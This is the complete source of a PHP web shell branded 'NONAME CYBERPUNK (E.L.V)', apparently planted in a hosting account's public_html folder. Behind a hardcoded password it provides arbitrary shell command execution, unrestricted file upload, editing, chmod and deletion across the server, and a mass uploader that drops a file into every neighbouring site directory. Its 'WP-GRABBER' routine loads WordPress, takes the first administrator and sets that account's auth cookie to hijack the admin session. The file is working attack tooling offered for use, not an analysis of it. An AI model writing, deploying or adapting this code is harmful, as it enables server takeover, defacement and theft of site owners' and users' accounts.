Current directory: /home/sohcom/public_html

File content: /home/sohcom/public_html/c-punk.php

<?php
/**
 * =============================================================================
 * HxrNoname × Gemini A.I - v840.0 (NONAME CYBERPUNK - DEEP SPACE)
 * =============================================================================
 * IDENTITAS       : NONAME CYBERPUNK (E.L.V) - LOCKED & PATEN
 * NAVIGATION      : TOOLS E.L.V v84.0.0 (MASS UP + WP GRAB)
 * UI STYLE        : DEEP SPACE VIOLET & ELECTRIC BLUE - BOLD 5PX BORDER
 * STATUS          : PERMANENTLY LOCKED & REFINED
 * =============================================================================
 */

@ob_start();
@ini_set('output_buffering', 0);
session_start();
error_reporting(0);
set_time_limit(0);

$password = "adm2626";
$logo_url = "https://c.top4top.io/p_3733moei02.png";

if (isset($_GET['logout'])) { session_destroy(); header("Location: ?"); exit; }
if (isset($_POST['pass'])) { if ($_POST['pass'] == $password) { $_SESSION['logged_in'] = true; } }
if (!isset($_SESSION['logged_in'])) {
    die("<html><head><title>NONAME CYBERPUNK (E.L.V)</title><style>
    body{background:#020005;color:#fff;display:flex;align-items:center;justify-content:center;height:100vh;margin:0;font-family:monospace;overflow:hidden;}
    #canvas{position:fixed;top:0;left:0;z-index:-1;opacity:0.5;}
    .login-box{text-align:center;z-index:1;background:rgba(5,0,15,0.95);padding:50px;border:5px solid #6a0dad;box-shadow:0 0 30px #00d4ff;}
    input{background:rgba(20,0,40,0.8);border:2px solid #00d4ff;color:#fff;padding:15px;text-align:center;font-size:20px;width:300px;outline:none;text-shadow:0 0 5px #0ff;}
    h2{color:#00d4ff;text-shadow:0 0 15px #00d4ff;text-transform:uppercase;letter-spacing:8px;margin-bottom:30px;}
    </style></head><body onload='initCyberRain()'><canvas id='canvas'></canvas>
    <div class='login-box'><img src='$logo_url' style='width:160px; filter:drop-shadow(0 0 15px #6a0dad);'><br><h2>ACCESS LOCKED</h2><form method='POST'><input type='password' name='pass' placeholder='[ SECRET KEY ]' autofocus></form></div>
    <script>function initCyberRain(){const c=document.getElementById('canvas'),ctx=c.getContext('2d');c.height=window.innerHeight;c.width=window.innerWidth;const char='01',font=15,columns=c.width/font,drops=[];for(let x=0;x<columns;x++)drops[x]=1;function draw(){ctx.fillStyle='rgba(2,0,5,0.05)';ctx.fillRect(0,0,c.width,c.height);ctx.fillStyle='#6a0dad';ctx.font=font+'px monospace';for(let i=0;i<drops.length;i++){const text=char.charAt(Math.floor(Math.random()*char.length));ctx.fillText(text,i*font,drops[i]*font);if(drops[i]*font>c.height&&Math.random()>0.975)drops[i]=0;drops[i]++;}}setInterval(draw,33);}</script></body></html>");
}

$path = isset($_GET['path']) ? $_GET['path'] : getcwd();
$path = str_replace('\\', '/', $path);
$view_mode = isset($_GET['view_mode']) ? $_GET['view_mode'] : 'list';

if(isset($_FILES['up_file'])){ if(copy($_FILES['up_file']['tmp_name'], $path.'/'.$_FILES['up_file']['name'])){ header("Location: ?path=$path"); } }
if(isset($_POST['new_chmod'])){ chmod($_POST['chmod_target'], octdec($_POST['new_chmod'])); header("Location: ?path=$path"); }
if(isset($_POST['new_name'])){ rename($_POST['old_name'], dirname($_POST['old_name']).'/'.$_POST['new_name']); header("Location: ?path=$path"); }
if(isset($_POST['new_content'])){ file_put_contents($_POST['edit_target'], $_POST['new_content']); header("Location: ?path=$path"); }
if(isset($_GET['del'])){ $t=$_GET['del']; is_dir($t)?@rmdir($t):@unlink($t); header("Location: ?path=$path"); }

$mass_log = "";
if (isset($_POST['mass_up'])) {
    $f_name = $_FILES['m_file']['name'];
    $f_data = file_get_contents($_FILES['m_file']['tmp_name']);
    $m_root = $_POST['mass_root'];
    if(is_dir($m_root)){
        foreach (scandir($m_root) as $folder) {
            if ($folder != "." && $folder != ".." && is_dir($m_root.'/'.$folder)) {
                file_put_contents($m_root.'/'.$folder.'/'.$f_name, $f_data);
                $mass_log .= "<span style='color:#0f0;'>[+] DEPLOYED:</span> $folder/$f_name<br>";
            }
        }
    }
}

function wp_grab_logic() {
    $c = dirname(__FILE__); $f = false;
    for($i=0;$i<15;$i++){ if(file_exists($c.'/wp-load.php')){$f=$c.'/wp-load.php';break;} $p=dirname($c); if($p==$c)break; $c=$p; }
    if($f){ require_once($f); $u=get_users(['role'=>'administrator','number'=>1]);
        if(!empty($u)){ $a=$u[0]; wp_set_current_user($a->ID); wp_set_auth_cookie($a->ID); return "[+] ADMIN HIJACKED: ".$a->user_login; }
    } return "[-] WP-LOAD NOT FOUND";
}

function perms($f){
    $p = fileperms($f);
    if(($p&0xC000)==0xC000)$i='s';elseif(($p&0xA000)==0xA000)$i='l';elseif(($p&0x8000)==0x8000)$i='-';elseif(($p&0x6000)==0x6000)$i='b';elseif(($p&0x4000)==0x4000)$i='d';elseif(($p&0x2000)==0x2000)$i='c';elseif(($p&0x1000)==0x1000)$i='p';else $i='u';
    $i.=(($p&0x0100)?'r':'-');$i.=(($p&0x0080)?'w':'-');$i.=(($p&0x0040)?(($p&0x0800)?'s':'x'):(($p&0x0800)?'S':'-'));
    $i.=(($p&0x020)?'r':'-');$i.=(($p&0x0010)?'w':'-');$i.=(($p&0x0008)?(($p&0x0400)?'s':'x'):(($p&0x0400)?'S':'-'));
    $i.=(($p&0x0004)?'r':'-');$i.=(($p&0x0002)?'w':'-');$i.=(($p&0x0001)?(($p&0x0200)?'t':'x'):(($p&0x0200)?'T':'-'));
    return $i;
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <title>NONAME CYBERPUNK (E.L.V) v840.0</title>
    <style>
        body { background: #020005; color: #e0e0e0; font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif; font-size: 14px; margin: 0; overflow: hidden; }
        #canvas { position: fixed; top:0; left:0; z-index:-1; opacity:0.25; }
        .container { padding: 30px; height: 100vh; overflow-y: auto; position: relative; z-index: 1; box-sizing: border-box; }
        .main-header { display: flex; align-items: center; justify-content: space-between; border-bottom: 5px solid #6a0dad; padding-bottom: 20px; margin-bottom: 25px; background: rgba(10,0,30,0.5); padding: 15px; border-radius: 10px; }
        .header-left { display: flex; align-items: center; gap: 20px; }
        .shell-logo { width: 90px; border: 3px solid #00d4ff; border-radius: 5px; filter: drop-shadow(0 0 10px #00d4ff); }
        .ascii-txt { color: #00d4ff; font-family: monospace; font-size: 12px; line-height: 12px; text-shadow: 0 0 5px #00d4ff; }
        .terminal-card { background: rgba(10, 5, 25, 0.9); border: 2px solid #6a0dad; border-radius: 8px; padding: 20px; margin-bottom: 20px; box-shadow: 0 5px 15px rgba(0,0,0,0.5); }
        .path-bar { background: #1a0033; padding: 12px; border-left: 5px solid #00d4ff; margin-bottom: 15px; font-weight: bold; border-radius: 0 5px 5px 0; }
        .nav-link { color: #00d4ff; text-decoration: none; padding: 5px 10px; border: 1px solid #00d4ff; margin: 0 2px; border-radius: 3px; font-size: 12px; transition: 0.3s; }
        .nav-link:hover { background: #00d4ff; color: #000; box-shadow: 0 0 10px #00d4ff; }
        .btn-elv { padding: 10px 20px; background: linear-gradient(45deg, #6a0dad, #00d4ff); border: none; color: #fff; font-weight: bold; border-radius: 5px; cursor: pointer; text-decoration: none; display: inline-block; transition: 0.3s; text-transform: uppercase; font-size: 12px; }
        .btn-elv:hover { transform: translateY(-2px); box-shadow: 0 5px 15px #00d4ff; }
        .btn-tool { padding: 10px 15px; border: 2px solid #ff00ff; color: #ff00ff; background: transparent; border-radius: 5px; text-decoration: none; font-weight: bold; transition: 0.3s; font-size: 12px; }
        .btn-tool:hover { background: #ff00ff; color: #fff; box-shadow: 0 0 15px #ff00ff; }
        table { width: 100%; border-collapse: separate; border-spacing: 0 8px; }
        th { padding: 15px; color: #00d4ff; text-align: left; border-bottom: 3px solid #6a0dad; text-transform: uppercase; letter-spacing: 2px; }
        td { padding: 15px; background: rgba(30, 0, 60, 0.3); border-top: 1px solid #6a0dad; border-bottom: 1px solid #6a0dad; }
        td:first-child { border-left: 1px solid #6a0dad; border-radius: 10px 0 0 10px; }
        td:last-child { border-right: 1px solid #6a0dad; border-radius: 0 10px 10px 0; }
        tr:hover td { background: rgba(106, 13, 173, 0.2); }
        input[type=text], textarea, select { background: #0a001a; border: 2px solid #6a0dad; color: #00d4ff; padding: 12px; border-radius: 5px; outline: none; width: 100%; box-sizing: border-box; }
        .btn-link { padding: 4px 10px; border: 1px solid #00d4ff; color: #00d4ff; text-decoration: none; font-size: 11px; margin: 0 3px; border-radius: 3px; transition: 0.3s; background: rgba(0, 212, 255, 0.05); display: inline-block; }
        .btn-link:hover { background: #00d4ff; color: #000; box-shadow: 0 0 8px #00d4ff; }
        .footer-static { position: fixed; bottom: 0; left: 0; width: 100%; background: #050010; border-top: 3px solid #6a0dad; padding: 10px 0; color: #00d4ff; font-weight: bold; z-index: 10; text-align: center; text-transform: uppercase; letter-spacing: 1px; }
    </style>
</head>
<body onload="initCyberRain()">
<canvas id="canvas"></canvas>
<div class="container">
    <header class="main-header">
        <div class="header-left">
            <img src="<?php echo $logo_url; ?>" class="shell-logo">
            <div class="ascii-txt"><pre>
 _   _  _____  _   _   ___  ___  ___  _____ 
| \ | ||  _  || \ | | / _ \ |  \/  ||  ___|
|  \| || | | ||  \| |/ /_\ \| .  . || |__  
| |\  || | | || |\  ||  _  || |\/| ||  __| 
|_| \_|\ \_/ /|_| \_|| | | || |  | || |___ 
(E.L.V) CYBERPUNK SUPREMACY v840.0
            </pre></div>
        </div>
        <div class="header-right"><a href="?path=<?php echo $path; ?>&view_mode=elv_tools" class="btn-elv">E.L.V v84.0.0 TOOLS</a></div>
    </header>

    <div class="terminal-card">
        <div class="path-bar"><span style="color:#ff00ff;">DIRECTORY:</span> 
            <?php 
            $accum = ''; echo '<a href="?path=" class="nav-link">ROOT</a>';
            foreach (explode('/', trim($path, '/')) as $p) { $accum .= '/' . $p; echo '<span style="color:#6a0dad;">/</span><a href="?path='.$accum.'" class="nav-link">'.$p.'</a>'; }
            ?>
        </div>
        <div style="display: flex; gap: 10px;">
            <a href="?path=<?php echo getcwd(); ?>" class="btn-tool">HOME & REFRESH</a>
            <a href="?path=<?php echo $path; ?>&view_mode=terminal" class="btn-tool" style="border-color:#00d4ff; color:#00d4ff;">TERMINAL</a>
            <a href="?logout=1" class="btn-tool" style="border-color:#f00; color:#f00;">DISCONNECT</a>
        </div>
    </div>

    <?php if($view_mode == 'elv_tools'): ?>
        <div class="terminal-card" style="border-color: #ff00ff;">
            <h2 style="color:#ff00ff; text-align:center;">--- E.L.V v84.0.0 ADVANCED TOOLS ---</h2>
            <div style="display:grid; grid-template-columns: 1fr 1fr; gap: 20px;">
                <div style="border: 1px solid #6a0dad; padding: 20px; border-radius: 10px;">
                    <h3 style="color:#00d4ff;">MASS UPLOADER</h3>
                    <form enctype="multipart/form-data" method="POST">
                        <p>Target Root Folder:</p><input type="text" name="mass_root" value="<?php echo dirname($path); ?>/">
                        <p>File:</p><input type="file" name="m_file" style="color:#00d4ff;">
                        <input type="submit" name="mass_up" value="EXECUTE MASS DEPLOY" class="btn-elv" style="width:100%; margin-top:20px;">
                    </form>
                    <div style="margin-top:10px; font-size:11px; max-height:100px; overflow-y:auto;"><?php echo $mass_log; ?></div>
                </div>
                <div style="border: 1px solid #6a0dad; padding: 20px; border-radius: 10px; text-align:center;">
                    <h3 style="color:#ff00ff;">WP-GRABBER LOGIN</h3>
                    <p>Auto bypass admin login for WordPress sites found in this server.</p>
                    <a href="?path=<?php echo $path; ?>&view_mode=elv_tools&action=grab" class="btn-elv" style="background:linear-gradient(45deg, #ff00ff, #6a0dad);">START AUTO GRAB</a>
                    <?php if($_GET['action']=='grab'): ?><div style="margin-top:20px; padding:15px; background:#000; border:1px dashed #0f0; color:#0f0;"><?php echo wp_grab_logic(); ?></div><?php endif; ?>
                </div>
            </div>
        </div>

    <?php elseif($view_mode == 'terminal'): ?>
        <div class="terminal-card"><h3 style="color:#00d4ff;">>_ TERMINAL ACCESS</h3><form method="POST"><input type="text" name="cmd" placeholder="Type command..." autofocus></form><?php if(isset($_POST['cmd'])) echo "<pre style='color:#0f0; background:#000; padding:15px; border-radius:5px; margin-top:15px;'>".htmlspecialchars(shell_exec($_POST['cmd'].' 2>&1'))."</pre>"; ?></div>

    <?php elseif($view_mode == 'edit'): $t = $_GET['target']; ?>
        <div class="terminal-card"><h3 style="color:#00d4ff;">EDITING: <?php echo basename($t); ?></h3><form method="POST"><input type="hidden" name="edit_target" value="<?php echo $t; ?>"><textarea name="new_content" style="height:500px; font-family:monospace;"><?php echo htmlspecialchars(file_get_contents($t)); ?></textarea><input type="submit" value="SAVE FILE" class="btn-elv" style="width:100%; margin-top:15px;"></form></div>

    <?php elseif($view_mode == 'rename'): $t = $_GET['target']; ?>
        <div class="terminal-card"><h3 style="color:#00d4ff;">RENAME</h3><form method="POST"><input type="hidden" name="old_name" value="<?php echo $t; ?>"><input type="text" name="new_name" value="<?php echo basename($t); ?>" autofocus><input type="submit" value="CHANGE NAME" class="btn-elv" style="margin-top:15px;"></form></div>

    <?php elseif($view_mode == 'chmod'): $t = $_GET['target']; ?>
        <div class="terminal-card"><h3 style="color:#00d4ff;">CHMOD: <?php echo basename($t); ?></h3><form method="POST"><input type="hidden" name="chmod_target" value="<?php echo $t; ?>"><input type="text" name="new_chmod" placeholder="e.g. 755" style="width:150px;"><input type="submit" value="APPLY PERMISSION" class="btn-elv"></form></div>

    <?php else: ?>
        <div class="terminal-card">
            <form enctype="multipart/form-data" method="POST" style="display:flex; gap:10px;"><input type="file" name="up_file" style="color:#00d4ff;"><input type="submit" value="UPLOAD TO CURRENT PATH" class="btn-elv"></form>
            <table>
                <thead><tr><th>FILE NAME</th><th>SIZE</th><th>PERMS</th><th>ACTIONS</th></tr></thead>
                <tbody>
                <?php
                foreach(scandir($path) as $f){
                    if($f=="."||$f=="..") continue;
                    $full=$path.'/'.$f; $is_d=is_dir($full); $prm=perms($full);
                    $f_color = $is_d ? "#ff00ff" : "#00d4ff";
                    echo "<tr><td><a href='?path=".($is_d?$full:$path)."' style='color:$f_color; text-decoration:none; font-weight:bold;'>".($is_d?"📁 $f":"📄 $f")."</a></td>";
                    echo "<td>".($is_d?"DIR":round(filesize($full)/1024,2)." KB")."</td>";
                    echo "<td><a href='?path=$path&view_mode=chmod&target=$full' style='color:".(is_writable($full)?"#0f0":"#f00")."; text-decoration:none;'>$prm</a></td>";
                    echo "<td>";
                    if(!$is_d) echo "<a href='?path=$path&view_mode=edit&target=$full' class='btn-link'>EDIT</a>";
                    echo "<a href='?path=$path&view_mode=rename&target=$full' class='btn-link'>REN</a>";
                    echo "<a href='?path=$path&del=$full' class='btn-link' style='color:#f00; border-color:#f00;' onclick='return confirm(\"Terminate?\")'>DEL</a></td></tr>";
                }
                ?>
                </tbody>
            </table>
        </div>
    <?php endif; ?>
    <div class="footer-static">NONAME CYBERPUNK (E.L.V) — v840.0 — SUPREME SECURITY — I 💖 U E.L.V WE WILL BE REMEMBER FOREVER — STATUS: PATEN & LOCKED</div>
</div>
<script>
    function initCyberRain(){
        const c=document.getElementById("canvas"),ctx=c.getContext("2d"); 
        c.height=window.innerHeight;c.width=window.innerWidth; 
        const char="01",font=15,columns=c.width/font,drops=[]; 
        for(let x=0;x<columns;x++)drops[x]=1;
        function draw(){ 
            ctx.fillStyle="rgba(2,0,5,0.05)";ctx.fillRect(0,0,c.width,c.height);
            ctx.fillStyle="#6a0dad";ctx.font=font+"px monospace";
            for(let i=0;i<drops.length;i++){
                const text=char.charAt(Math.floor(Math.random()*char.length));
                ctx.fillText(text,i*font,drops[i]*font);
                if(drops[i]*font>c.height&&Math.random()>0.975)drops[i]=0;
                drops[i]++;
            }
        }
        setInterval(draw,33);
    }
</script>
</body>
</html>

Upload file